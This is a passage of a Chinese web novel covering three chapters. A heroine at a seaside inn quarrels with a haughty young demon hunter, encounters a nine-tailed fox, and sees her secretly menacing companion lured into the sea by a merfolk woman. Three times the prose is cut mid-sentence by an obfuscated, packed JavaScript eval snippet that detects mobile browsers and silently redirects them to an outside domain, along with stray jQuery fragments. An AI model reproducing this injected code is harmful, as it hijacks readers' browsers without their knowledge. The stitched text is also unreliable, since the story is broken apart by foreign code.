客栈伙计原本坐在柜台旁提笔写着什么,看到冉云祉下来扬起招牌笑容打招呼。 “姑娘需要些什么?” 她不好意思地笑了笑,来到远离门边位置坐下:“随便来些吃的吧,有些饿了。” 想了想她又苦着脸补充了一句:“不要海产了,粥或是面都好。” 伙计摆出一副“我懂”的表情,片刻后端来一碗虾仁面,有些羞涩地说道:“厨子方才去就寝了,我想了想还是不要吵醒他了。这面是我阿娘幼时教我做的,姑娘尝尝看。” 虽然这虾也是海产,但这香醇的汤汁包裹着纯白如玉的面条,缀上翠绿的菜叶与鲜红玲珑的虾仁。人饿极了,看什么都觉得是珍馐美味。 她也不等面条是不是烫,不顾形象的捞起面条就是一大口。 “好吃好吃,小兄弟,你的手艺真不错,我觉得你可以也偶尔当当厨子了。” 她向他比了个赞,伙计虽然看不懂这个手势,听着她真诚的夸奖回答:“我可不比我们这里大厨,明个人让他来做些别的,保准姑娘喜欢。” 伙计人热情,难怪这里的生意这么好,深夜了还有这么多客人。 吃饱喝足,她满足地放下汤碗,打了一个饱嗝。 忽觉一道视线落在她身上,她敏锐地看过去,在离她两三个桌子的位置上,正坐着一个锦帽貂裘的少年。 他看起来十五六岁的年纪,抱着手臂坐在那里,紫黑色的锦衣在秋风中微微浮动,与窗外的灰褐色的天幕几乎融为了一体,他的眼睛却如同这天幕上的星光,点缀其中。 但此时,这双眼正慢慢凝聚成一个傲慢讥讽的眼神。 总觉得似乎在哪里见过他,按理说她来这个世界见过的人很少,她应该不认识这人才对。 冉云祉不仅多瞧了他几眼,那人见状,嘴角微微勾起,下巴高高地抬起来,露出了两个趾高气扬的鼻孔,那嘲讽的声音几乎是从鼻孔里哼出来。 “哼,虽然小爷这张脸美艳无双,也不至于这样盯着小爷看吧,穷鬼?” 他的声音说的很大,明显带着不屑的口吻。 声音回响在大堂之中,似平地里的一声惊雷,尚且清醒的客人纷纷把目光调转过来,放到两人的身上来。 25.对峙 冉云祉只觉得这少年病得不轻。 在这个寻常的海边小镇,身处一众布衣百姓中的他像砂砾中的一颗珍珠,就算被掩盖也难免散发出异样的光辉。 他似乎格外喜欢这种引人注目的感觉,在众人看过来的视线里翘起腿,手指随意敲击桌面,秀了秀桌上的美酒佳肴,只留给她一个高傲的侧脸。 冉云祉站在原地想了几秒,还是没有想起在哪里见过他,于是选择用无视来回应。 冲着伙计扬起一个笑容:“多谢你的面,我回去休息了。” 听到身后的动静,少年脸上呈现片刻的呆滞,四周指指点点的议论声恰在此时响起。 “人姑娘好像对他没意思啊。” “我记得那姑娘今天身边还有两个貌美的公子吧,难怪她瞧不上这小子。” 他听得脸一阵红一阵白,生平第一次遇到这样的女子,还被她无声下了面子,忍无可忍冲着那道背影道:“喂,你给我站住!” 没礼貌的臭小鬼。你叫我停我就停啊?冉云祉在心里暗忖,加快了脚步。 少年气极,从桌子上一跃而起,腰间玲珑金球随着他的动作扬起一阵悦耳的铃声,眨眼间那铃声来到她面前,拦住她的去路。 “我在跟你说话,你为什么不理我?” 冉云祉学着他的样子,高高的抬着下巴,用鼻孔看他。 他脸色更差了:“你这是什么态度?” “那你是什么态度?你用这态度对别人,凭什么不让别人用这态度对你?”声音从牙缝里挤出来,用更为轻蔑和不屑的语气回击:“你在跟我说话?我认识你吗?” 身侧客人传来一阵哄笑,少年咬牙道:“我要是说出我的名字,肯定会吓到你的。” “呀,难道你是黑无常?要来索我命?”她上上下下打量他,鄙夷地绕过他,“这世界上能吓到我的,可不是你一个小屁孩。” 这世界上最大的反派无乐我都不怕,我还怕你一个臭小鬼不成? 被人这样冷嘲热讽,少年哪里忍得住,当即一把扯住了她的衣服不让她走:“不行,你今天不准走。” 他这一拽,把她下楼时随意披的外袍拉下些许。 冉云祉生气道:“放手!” 她试着挣扎了一下,挣脱不开,这小孩好像就认准了她非要找她麻烦。 瞧着她脸上的恼意,这少年权当她是恼羞成怒,脸上的阴郁散了些:“小爷就不放,你能奈我何。” 话音刚落,禁闭的店门呼啦一下被踹开,一只野山鸡凌空飞了过来,少年还沉浸在他将冉云祉制服的得意中,冷不防被野山鸡砸了个正着。 空气中鸡毛纷飞,受了惊的野山鸡落了地,扑棱着翅膀在大堂里吵吵嚷嚷窜来窜去。 他的脸上空白了一瞬,下意识松了手,在这瞬间,身前的女子已经被人护在了身后。 面前的白衣少年带着一身寒凉,如天山最纯白的雪,傲然独立地站在他面前,刀锋般锐利的眼神,生生的剜在他身上。 行走江湖这段时间,他一眼就认出这是要杀人的眼神。 大堂内空气里如死一般沉寂,那只野鸡被伙计擒住了脖子,一人一鸡缩在了角落,原本说闲话的客人大气都不敢出,就连那些醉酒人的呼噜声醉话声也小了下去。 那人愣了愣,反应过来自己被这小子用一只野山鸡砸了,一股羞耻的感觉从脚底油然而生,他今日受的委屈,传将出去,他还要不要在江湖上混了? 他登时就怒了:“小子,你知道我是谁?你敢这样折辱我,信不信我今天就把你的手脚断在这里!” 他气焰嚣张,可不管他怎么说,烛乐始终一声不响地盯着他,一只手却已经悄悄摸上了云霁剑,冉云祉连忙按住他:“别跟这小子一般见识。” 他半垂的眸光微顿,眼中的寒光一寸一寸收敛,望向她的时候,又是一副如江水般温柔的模样,好像刚才那副模样根本不是他。 “嗯。”他乖巧地应一声,拉着她的手走到伙计那里,伸手把那野山鸡抓在手里,整个过程,看也不看身后的人一眼。 被无视的锦衣少年不依不饶,冉云祉实在忍不住,回头冷嘲热讽:“这位小少爷,你再这样吵闹不休,原本不知道这事的客人都要被你搞得人尽皆知了,我是无所谓,丢脸的可不是我。” 只一句话,少年安静下来,用一副饱受屈辱的眼神看着两人越走越远。 “少爷!少爷!”身后一布衣的模样的青年擦着汗从敞开的门外进来,两腿战战兢兢的几乎站不稳。 锦衣少年见他这没出息的样子,将无名火对准了他:“小杨,你还能再没出息一点吗?让你去解决那几个山贼,你怕成这样?” 小杨话都说不利索,显然还没回过神来:“少爷,我……我不是怕,可是……可是我去的时候,那些人已经被杀了。” “杀了就杀了,本来也是要解决的。”他揉着眉心,不甘心地再瞧了楼上一眼,而后起身准备回房。 没心情吃东西了,今天踢到铁板了,留在这里说不定还会被人议论,烦人。 小杨大抵是没见过他这番狂躁又无计可施的模样,猜想应是被人拂了面子,于是说出的话便斟酌了些许。 “少爷,您不知道,那些人……”他咽了咽口水,“那些人死状凄惨,全身没有一处好地方,他们手指扭曲,好像被人硬生生踩断的,手被砍了下来,周边都是沾着血的碎冰,眼睛也……” 只看了一眼,他就再也不敢回想那些人的惨状,空气里都是血腥的气息,连月亮都是一片血色。那里哪里是山寨,分明是死灵的坟墓,这是多大仇多大怨才下得如此狠手。 锦衣少年脚步一顿,神色异样:“你刚才说,那些人周围是碎冰?” 小杨心有戚戚:“对啊少爷,这还是秋天,哪里来的碎冰……难道是妖?” 他没有回话,不仅回想起,很久以前在祖师留下的手札中记载的一项不为外人所知的秘闻。 三途火焰点燃古老神秘的庙宇,火光中木头燃烧而发出噼里啪啦的声响,黑灰一下下落在那僧人纵横交错满是皲皮的脸上,苍老近乎腐坏的皮肤一点点被大火炙烤,最后模糊了面容。 无辜的僧侣在大火里哀嚎,哭声夹杂着皮肉被烧焦的味道,与蜡像的煤烟味混在一起,构成了这场惨无人寰的人间地狱。 祖师斩妖除魔多年,此事却是祖师一生中唯一的憾事,二十八条人命连同这座不知道延续了多少年香火的庙宇,共同毁在了那场大火里。 那之后三十年内,当年参与绞杀大火的门派不是被灭了门,就是从此没落成为籍籍无名的小门派,他们这一派还是重新组建。 “迟早有一天,我会让你们后悔。我会把你们一个个都杀光,把你们踩在脚底,永世不能为人!” 手札的末尾,是祖师留下的这句僧人所说遗言。他仿佛看到僧人被捆妖绳捆在那里如何一字字说出这些话。僧人周身寒冰被火焰融化,最终被吞噬在那场大火里,只剩下幽幽的蓝光消失在天宇之间。 似乎一个永远摆脱不掉的魔咒,让当年的诅咒一一应验。 冉云祉身后,烛乐提着野山鸡亦步亦趋的跟着她。 “你出去过了?”方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667027|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才她按住他衣服的时候,那上面都是凉意,隐隐约约有些潮湿的水汽。 烛乐垂下视线,声音轻缓乖顺:“我见你今晚没怎么吃东西,担心你会饿,所以就去给你找些吃的。” 原本在他手里安安静静的野山鸡似乎察觉到烛乐的意图,恰到好处的挣扎着叫起来,他皱了皱眉,不悦的掐住了它的脖子。 他一路没有把这只山鸡杀掉只是为了图个鲜活,山鸡在这一掐之后,没死,声音却小了下去,没力气挣扎了。 他总是这样细细的观察她的一举一动,并不出声,却默默地记在心里,为她做了这么多事。 她心中一暖,没有说话,只是看着他,良久才柔声问道:“那你呢?” “我?”他似乎不明白她的意思。 “一个人出去,你不怕吗?你平日里只吃这么少,你不饿吗?” 山鸡并不出没在海边,最近的山林是白日里经过的那片,他就这么一个人跑回去,万一遇上那伙山贼怎么办,万一在山林里迷路了怎么办。 烛乐摇摇头,望着她:“我是男子,我怕什么?何况……我之前,吃的比这更少。” 这句话是真的,有段时间,他从未按时进食,直到饿了才想起来。他没什么讲究,有什么吃什么。总归这具身体不会饿死,时间久了,挨饿的滋味也就麻木了。 和冉云祉在一起这段时间,一日三餐从未落下,生冷的东西不让他吃,说对身体不好。还有她时不时投喂……而他如今说这些,只是想让她更加心疼自己。 果然,她眼底立马又泛上一阵心疼。 他很享受她这副挂念自己的样子。 那就随便赏她点东西吧。这么想着,他从怀里摸出来一包银子,递给她:“我运气不错,在山林中捡到了这些银子,你收着,不要让三殿下瞧见了。” 冉云祉拿出来估计一下有十两银子:“你从哪里捡到的?” 他笑起来,眸中暗光一闪,转瞬即逝的肃杀之后却是一片温顺:“山林里随便捡来的,大概,我运气比较好吧。”然后他又问道:“刚刚那个人是谁?为什么抓着你不放?” 说起那个锦衣少年,她气就不打一处来:“他有病,我只是觉得在哪里见过他,多看了他几眼。谁知道他这人立马说我贪恋他的美貌,还说我是穷鬼,我是那么肤浅的人吗?” “是吗?”他暗自思忖,心头隐隐不悦,但面上还是一副云淡风轻的样子。 “你不相信我?”她回忆起烛乐刚才那一幕,脸上露出颇为崇拜的目光,“烛乐,你刚才那架势,十分利落!” 她本来以为烛乐是乖巧柔弱的人,受了欺负也是一声不响随便应下,谁知道一出手便这么潇洒一鸣惊人,那少年趾高气扬的像只斗鸡,好巧不巧被一只野山鸡砸了。 烛乐心里有了底,回到房间的时候,上扬的嘴角立即沉了下去。 他的眼底漆黑一片,正酝酿着一场即将到来的血腥。 有人敢碰他的东西,不可原谅。 想让他和那群山贼一样消失……那些山贼敢对他起歹心,用那种眼神来看他,死一万次都不为过。 只是这客栈内人多眼杂,今日他们刚刚大动干戈,他如果死去的话,矛头只会指向他们一行人,官府一来,她又少不了多管闲事。 在取鲛人泪这段时间,他是万万不能出差错的。 真麻烦啊。他略有些嫌弃的看了一眼野山鸡。随后将它扔到角落去。 现在还不是杀掉野山鸡的时候,那就再让猎物多活一段时间吧。 一段时间而已,他的耐心只有那么多了。 26.相识 浓重夜幕褪去,窗外已是白昼。 冉云祉迈入大堂的时候,众人谈话的声响里隐约夹杂着有人压着怒意的吵嚷声。 她循声望去,两人早已经穿戴整齐慢条斯理地端坐在桌边饮着茶水。 袅袅茶水在泛着秋意的早晨氤氲起热气,人模狗样的锦衣少年立在冉云清身旁,她只瞧见他嘴巴一张一合地说着什么。 那人身后跟着一位布衣青年,欲上前劝说却被正激动的少年狠狠甩开。 走近一看,这人不是昨晚的斗鸡是谁? 此刻的他,穿着一身花哨的锦衣,高高在上的模样和昨夜丝毫没有变化。一头马尾扎的很高立在脑后,隐约可见几条红绳系起的小辫垂在肩头,随着他的动作甩成一个傲慢的弧度,看起来更像一只斗鸡了。 越是靠近,他嘴里说的话越是清晰。 “没见过我?你昨晚在这里奚落本少爷的嘴脸我还记得,今日便装作无事发生是吧?” “昨夜这小子还将一只山鸡甩到我脸上,你别告诉我都不记得了!” 他气势汹汹地要对烛乐出手,烛乐伸手反握住他的手臂,眼眸半睁散漫地看了他一眼。 动手又打不过,少年退回去气得脸色绛红,偏偏烛乐还低头喝茶隔岸观火,一副不想与他多说的样子。 “我说了没见过你,你到底要我说多少次。”饶是好脾气如冉云清,被人这样寻事,清冷的面上也隐隐有了一丝愠色。 眼光瞧见冉云祉走近了,烛乐向她扬了扬手:“阿祉,这边。” 他神采奕奕,昨日奔波一条赶路,半夜又去为她寻吃的,竟如此容光焕发。 真不愧年轻人啊,身体真好,不像她,骨头都像散架了一样。 斗鸡随意瞥了一下头,震怒的面容看到冉云祉后,整个人表情如同被噎住一般僵在原地。 他瞧瞧她,又瞧瞧喝茶的冉云祉,石化了。 “你……你……” 指着她,像见到鬼一样,半天说不出一个字来。 “双生子,没见过吗?” 在烛乐身旁空位坐好,倒了杯茶水润润嗓子,一抬头看见那人还在看她,她挑衅地瞥过去,“哼,又是一个没见过世面的臭小子,你怎么这么阴魂不散,莫不是对我念念不忘?” 她在用昨晚的话回击,少年果然一点就着,完全忽视了小杨口中的“少爷低调”,要上前反驳什么,恰在此时响起一声拖着长音的慵懒语调:“哦?这不是无双盟的弟子江遗江公子么?” 戴苍似乎并没有发现瞧出桌上剑拔弩张的气氛,打了个呵欠,看起来还没有睡醒的样子:“先前在泽城见到你打马经过,没来得及喊住你。” 他这样一提,冉云祉才恍然想起,她说怎么眼熟呢,这人不就是当初在泽城街市上一阵风飘过去的拽小子吗! 许是她盯得久了,一旁的烛乐有些不悦地拉了拉她的衣袖,她这才收回目光。 “没想到在这里遇见三殿下。”江遗难得一副恭敬之色,一手握拳拱手行了个礼。 戴苍惩恶扬善行走天下之时,与声名显赫的无双盟打过几次交道,江遗年轻气盛不假,但他却对戴苍佩服得可是五体投地。 “三殿下来这里做什么?” 说这话时,他用余光悄悄瞄了冉云祉一眼,颇有些自得之意,毕竟无双盟名号一出,江湖谁人不知,他想让她知道招惹的是谁。 哪知她满眼都是桌上的菜,跟饿死鬼投胎似的端着碗埋头苦吃。 “你看你瘦的,还是多吃点肉。”给烛乐夹一筷子,心疼道。 “姐姐,这道盐水鸭做的不错,尝尝。”不忘给姐姐推荐一下。 至于那两位,无视掉。 她吃得满足,根本没有抬头看他一眼。 “和师妹游山玩水而已。”对面传来戴苍好整以暇的声音,打断了他的思绪。 江遗心头默念,师妹,师妹,我怎么就没有个师妹呢。 他正发着呆,戴苍敲了敲桌子点点烛乐:“你这小徒弟一点礼数都不懂,师父来了,你只顾着吃,看茶!” 烛乐抬眸看了他一眼,装作没听见。 他在面对除了冉云祉以外其他人的时候,基本上都是以无视的态度。单纯是因为没必要理会。 “你小子剑术成了,就想叛变师门是不是?我怎么收了你这么一个白眼狼?”戴苍向着烛乐投去了一个不满的眼神。 冉云祉眼疾手快嬉皮笑脸地给他满上:“嗳,辛苦了师父,您请喝。” 好吧,有人代劳也不错。戴苍这才惬意地喝了一杯茶水,目光收回,邀请一旁呆着的江遗一起用餐。 三人眼神古怪,懒得理会,江遗稍稍尴尬。 戴苍笑问:“方才我听你们争吵,不知江公子这是怎么了?” “误会!不打不相识嘛!”他脸色红了一瞬,生怕有人揭他的短以至于在戴苍面前出丑。 冉云祉轻嗤一声,懒得戳穿,只有烛乐盯着他若有所思的看了一会。 他心中不服,肚子里憋着一股气,却也不敢说话,索然无味的吃着早点。 一行人在烈海住了几日,正巧赶上一年一度的海神节。 这天夜晚,大海因海边的篝火染上了碎屑般的光华,与如墨般的天空连成一线。 岸边摆放着丰盛的瓜果菜肴,价值昂贵酒水茶水不要钱般的洒在沙滩上,附近居民黑压压的跪在地上对着海面参拜,双手合十,口中念念有词。 “他们在将自己的心愿说给海神听,希望海神听到他们心中的期愿,愿望成真。” 冉云祉正看的出神,江遗不知何时来到她身旁,将先前让小杨打听的事情一点点说予她听,似乎是在刻意证明自己博学多识,以此改变在她心中的印象。 她并不习惯他这自来熟的模样,心不在焉的轻“嗯”了一句,悄悄与他拉开距离。 月明如昼,海浪声里夹杂着居民的祷告轻轻传来,连微凉潮湿的海风都变得温柔起来。 远远瞧见冉云清与戴苍在不远处的树下并肩而立,那一红一白的影子在深沉的夜色里如同一双两尾鱼,相偎相依,分外和谐,让人移不开眼。 她打心眼里祝愿这对师兄妹能走到一起,但她也知道姐姐的顾虑,面对这种情况,她无可奈何,谁让她也是个恋爱小白,毫无经验。 鞋子踩在细腻的沙子上,轻轻地陷进去,不一会她的鞋子里便满是细腻的白沙,走起来格外不舒服。 她索性把鞋子脱掉提在手里,抬头见不远处一紫袍男子在夜晚里支起摊位,不由得走上前去。 摊位上摆放的都是从海里捡来的贝壳海螺制成的饰品,还有各色鱼类鳞片,在篝火的照耀下流光溢彩。 她拾起一个海螺,这个海螺没什么装饰,看起来有些年岁了,不禁好奇地问道:“公子,你这里的海螺与海里的有什么特别之处吗?” 男子狐狸似的眼睛微微眯起,认认真真打量她片刻,半晌后淡道:“如果你是我等的那个人,自然知道这海螺的特殊之处,可惜,你不是。” “原来不是拿来卖的?”她感到有些费解,再瞧瞧那海螺,实在参不透什么玄机。 “自然不是,我在等人。” 恰在此时,一张燃着火焰的符纸带着凌厉的疾风从远处袭来,直奔那紫袍男子而去。 男子目光一凛,纹丝未动,只是身侧金色微光一闪,那符纸似碰到什么无形的壁垒,很快就熄灭化为灰烬。 “冉云祉,他是妖,你离他远一点!” 江遗的声音伴着金玲的声响由远及近,漆黑的天幕之下,他两指之间夹杂着一张符纸,站在她三步远的地方略有些轻蔑的看着她:“你这样的笨蛋,连妖怪都分辨不出,小心被妖怪伤了都不知道。” 他还是这样下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717315|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识的把人看低,冉云祉毫不示弱,瞪着眼睛反驳:“别把我当成傻子,我当然知道他是妖,那么大的尾巴,我又不是瞎子,我一早就看到了。” 九尾狐嘛,尾巴一甩便让那符纸无处可进,以前只能在志怪里看到的大妖,如今在这里让她遇上了。 江遗怔了怔,手里的动作僵了一下:“你为什么能看到?难道你也是捉妖师?” 说罢他又摇摇头:“除了无双盟,捉妖师全都是不入流的散人。而且你也没有捉妖铃。” “她身上有灵泉玉,自然能一眼看到我的真身。”九尾狐声音没有什么波动,似乎并不觉得江遗会对他会造成什么威胁。 “灵泉玉……原来是被你拿走了?”江遗呆呆的站在那,看她的眼神已不再是轻蔑。 无双盟也是寻找神物的一个门派之一,受师父所托碰碰运气,只是当他找到灵泉玉的位置时,神物已经不在那里了,来到这里与他们相遇,仅仅因为是个巧合。 这样的相遇巧合,让他心里稍稍有些异样,只是他辨不清楚。 远处两人听到响声赶到他们身旁,冉云清问道:“发生什么事了?” 没人回答,九尾狐兀自开口:“看来今日并不是个适合出摊的日子,在下这就离开了。” “不行,你不能走!”江遗从那些乱七八糟的思绪中回神,上前一步拦住他的去路,说话间又抽出几张符纸,“今日有我无双盟弟子在,还有名震天下的灵泾山弟子,你这妖孽往哪里逃?” “你们要捉我?” 九尾狐慵懒地站在那里,漂亮的狐狸眼微微勾起,无端带了一丝嘲讽的意味,“你们用什么理由捉我呢?斗胆问一句,在下是做了什么伤天害理的事情了么?” “这……”他愣住了,一个字都答不出来。 “如果我没有做那些事情,捉妖师便没有捉在下的理由。” 江遗说不出话,如师门所言,若非穷凶恶极的大妖,无双盟不便出手。 冉云清点点头:“他说的没错,此番我们不会出手。” “告辞。”九尾狐将摊位上的首饰收好,绕过冉云祉身边时,突然顿住脚步。 “既然灵泉玉在你们身上,想必你们是为鲛人泪而来,我观诸位都是人类之身,在下奉劝你们一句,烈海深处,非是寻常人能去的。” 众人还没做出反应,九尾狐已款款离开。 “他在危言耸听?”冉云祉瞧着他的模样又不像。 几人心思各异,冉云清紧紧捏紧了拳头,她知道九尾狐的提醒是真心实意,因为前几日,她从系统那里听到过类似的话。 “烈海与寻常深海没什么两样,可在月亮最圆的夜晚,海水便会变成如血一般的深红色,此时进入烈海后找到引路神兽亦或是鲛人的信息,才能知道神物所在。” “但,此程万般凶险,只因那地方妖物横行,数以万计的妖物守在鲛人泪旁,去到那里的人类,多半九死一生。” 一直沉默的系统,在他们来到烈海的那一天,突然告诉了她烈海的部分秘闻。 那里很危险,可她不得不去。她没有告诉任何人,是因为她不想让她在意的人涉险。 月亮最圆的时候,是中秋。 她已决定孤身一人前去,这是她作为被这个世界选为救世主应该做的事。 烟火从平地里燃起,在天空厚重的乌云之中绽开,黑云压境,风雨欲来。 被烟花照亮的明明灭灭的身影,有一双手轻轻的握紧了她,似乎要把身上的力量传递给她。 他平日里虽然不着调,但穿越以来,他并不会轻易越矩。 她抬眸望过去,戴苍原本漆黑深邃的眼眸被眼光映成漂亮的琥珀色,牢牢锁住她,像温暖的阳光驱散浓重的夜。 “这点小难题,难不倒我们。”他说。 冉云清冲他尴尬地笑了笑,无声地抽了手。 27.鲛人(一) 冉云祉最近觉得气氛变得很不对劲。 队伍里的四个人,冉云清总是以一副平淡的模样出现在她面前,平常没什么情绪波动,但近几日沉默到平静,让她总是惴惴不安。 她尝试与她谈话,可冉云清却轻轻笑着:“会有办法的,你不要多想。” 她又去问戴苍,平常恣意潇洒的人却显得心事重重,连奚落她都没什么兴趣,只是随意瞥了她一眼道:“既然师妹说没事,那便是没事了,二小姐难道是不相信我们?” 正是因为危险她才担心啊,可这两人一度不想让她参与其中,她只能心烦意乱地去找烛乐。 从海神节那天过后,他行踪不定,白日里常常不见,但每次回来的时候却又带着吃食递给她。 于是她便以为他白天忙的是这些。 明日正是月圆之夜,她敲响烛乐的门。他似乎正要睡下,过了半晌来开门时,只穿了一件月白中衣,一头总是扎起来的头发此时散了下来,绸缎似的乖巧的垂落肩头。 他本就生的纯善可欺,瘦弱的身躯配上这一头垂落的青丝,当真比美人还要漂亮。 她总算知道古装剧里,为什么美人青丝散下男子会心动,性别转换亦是如此,此刻她便看直了眼。 “怎么了?”他用一种不解的眼神看着她。 慌乱的收回目光,深呼一口气故作轻松:“少年,要不要去吃夜宵?” 他微微皱眉,似乎是在斟酌犹豫。但对于她的提议,他向来不会拒绝,像一个乖巧的布娃娃,任她予取予求。 他回到屋子里穿衣,她就这样靠在门边看他。 他与初遇时候气质变得不太一样了,许是练剑防身的缘故,身上总有一种似有若无的侠气,明媚张扬。 她颇有一种“吾家有儿初长成”的感觉,光是这样看着,心里便是满满的成就感。 想着想着,话已经出了口:“今晚不用束发了吧?” “为什么?” 拿着发带的手僵在半空中,另一只手已经抓了一节头发在手里,随着晚风轻轻飘荡,似乎吹进了她的心里,挠的她的心痒痒的。 因为平日里没见过你这样啊。她在心里想。 抬头便是一句不遗余力的夸赞:“你这样更好看。” 客栈门扉悄悄透出微黄的光,倾洒在细腻柔软的沙滩上,微醺的客人相互搀扶,晃晃悠悠的来到海边。 靠海而生的晚归渔民在海边架好摊位,摆上从海里捞到的鱼,有人经过便高喊一声,一派熟悉的烟火气,真实而热烈。 烛乐从不远处找了些许干枯的树枝芦苇,在沙滩上就地支起火堆,将从摊位上挑选的鱼用树枝从中间穿过去,洒上从客栈伙计那里顺过来的佐料,架到火堆上烧烤。 “你怎么懂的那么多?” 她自己生活购买食材的时候,随便从商场里提一些就回来了,然而烛乐在挑选时却很仔细,买到的是最鲜活、肉质看上去更嫩的种类。 视线随着他翻转的动作,停留在他被火光映照的脸上。 他果然听话得没有束发,相比平日更显柔和,只是他似乎并不方便,额边的头发总是被风眷念地吹起而微微拂过脸颊。 冉云祉伸出手轻轻将他的头发别在脑后,触碰到他的时候他似乎怔了一下,却并没有躲开。 他随手将手里的烤鱼递给她掩饰慌乱,又换上一支新的木签,重复着手里的动作,仿佛已经做过成千上万次一般,垂下的发丝随着他的动作在肩头轻轻拂动。 “因为……”他的声音很低,如同一抹转瞬即逝的清风很快消失在夜色里,仿佛只是她的错觉。 他本就从那样的苦日子里摸滚打爬出来的,这些,不过是苦中作乐的一丝丝慰藉,想让自己显得不那么可怜,如今全成了取悦她的工具。他自嘲地想。 只是他不愿意再说了,深深地看着她。 “你不去找客栈伙计,为什么来找我?”他忽然问起,漆黑的眼睛在黑暗里比天上的繁星还要明亮。 冉云祉已经就着烤鱼狼吞虎咽地吃起来,这鱼外面看上去焦黄,内里却是细腻爽滑的鱼肉,白白嫩嫩的,经他手的东西,好像没什么是不好吃的。 “不能找你吗?”她抬头略微不爽地看了他一眼,“好啊,才刚离开清云山庄就觉得我烦了,是不是?” 他低低笑了一声,烤鱼灼烧的声音在两人中间劈啪作响。 “怎么会呢?”声音里透露着一丝虚假又温柔的善解人意。 就算他真的烦了,也不会表现出来,至少现在这样,她会对自己毫无防备。 恰在此时,海边幽幽传来一阵空灵的歌声,甜腻的语调在她耳边环绕,如梦似幻,宛如神秘的海底奏出的遗世天籁。 她嘴唇微张,连同思维也稍有滞缓,似被温暖的海水包裹,深深地陷了进去,心神一阵恍惚。 在她面前,浅蓝色鲛绡纱衣拢在绝色女子身上,纱裙之上点缀着珍珠与浅蓝色的流苏,在月光下如同温柔的海浪闪着盈盈波光。 女子赤足自海边款款而来,莹白的双腿自纱裙中若隐若现,悬而未落的水珠犹如鲛人的鳞片,步调轻柔,道不尽万种风情。 女子在笑,笑起来的时候,多情潋滟的眸子与烛乐相视,美得仿佛不是人间客。 等到海浪的声音将所有的声音都掩盖过去,冉云祉才回过神来,对面已空无一人。 火堆已经熄灭了,只留下零星的火点与烤至一半的海鱼留在原地。她吸吸鼻子,空气中除了烤鱼的香气,似乎还多了一抹不易察觉的海水腥咸的气息。 海风吹到她身上,有些冷。心中不祥的预感愈发强烈。 她沿着海滩上留下的脚印急匆匆回到客栈,正巧与从烛乐房间里出来的两人撞了个满怀。 气氛有些尴尬,女子还是在笑,一头柔顺的长发如海藻般垂至腰际,看上去格外妩媚动人。 可就算她再美,也掩盖不了那女子是鲛人而不是人类的事实。 鲛人缓缓绽开一个善意的笑容,声音都似乎带着蛊惑的味道:“你是来找他的吗?” 可冉云祉怎么瞧都觉得她是在挑衅自己。 “你们一声不响就走了,我的夜宵怎么办,我当然要来找他。” 她伸手抱住烛乐的胳膊:“烛乐,我饿,我们回去。” 烛乐低头看着抱着他的青葱手臂,纤长的睫毛在他眼睛里投下一圈阴影,辨不清他在想些什么。 “烛乐?”察觉到他不动,冉云祉疑惑地看向他。 他低声说:“我要跟她走。” 这句话是对冉云祉说的,显得陌生又疏离。 冉云祉顿时愣在了原地,着急地抓着他的肩膀摇晃,声音不由自主地提高了些许:“什么,我没听错吧?你怎么了?你现在很不对劲你知道吗?我感觉你现在很不清醒。” 传说鲛人歌声能惑人心智,她刚刚不正是晃了心神,被鲛人趁虚而入。此刻烛乐的反应太过反常,以一副坚定的口吻对她再次重复:“我要跟她走。” 冉云祉用不可思议的目光打量着他:“你真的很不对劲,告诉我发生了什么?” 她想听他说出隐情,在这短短的间隙,今晚发生的一切太突然了,她也从来没见过他这样的态度。 他皱着眉想说什么,鲛人从后面拉了拉他的衣角,轻轻笑道:“他说了要跟我走,你还在纠缠什么?” 而后与烛乐的视线对上:“不是与我说好了?” 空气似有滞缓,他轻嗯一声,把冉云祉轻轻推到一边去,也不再看她,跟在鲛人身后迈动步伐。 他像突然变成了一个她不认识的人。 冉云祉呆呆地看着他离去的方向,伸手下意识去抓他,却被他轻易地躲开了,手指只拂过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739803|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片雪白的衣角,而他头也不回地跟鲛人走向烈海。 她的视线很好,方才空无一人的海边,除了那些醉酒的客人,不知何时多了几条鲛人的身影,只是夜色太深,看不清楚那些鲛人的表情。 烛乐旁若无人地走向他们,很快几人连同鲛人的身影一同消失在海面上。 她望着自己空荡荡的手心,那里还残存着衣角划过的触感,烛乐就这样走了? 说什么她都不相信,好歹和他相处了这么久,他不会是这样的人,一定有什么苦衷,有什么是不能对她说的?她该去问个明白。 她正要往海里追去的时候,恰巧看到江遗身影若有所思地站在离她不远的位置望着她。 对上她的视线,江遗不好意思地摸了摸脑袋,似乎是在斟酌着用词安慰她:“失恋也没什么大不了的,恋人而已,分分合合是常态。” 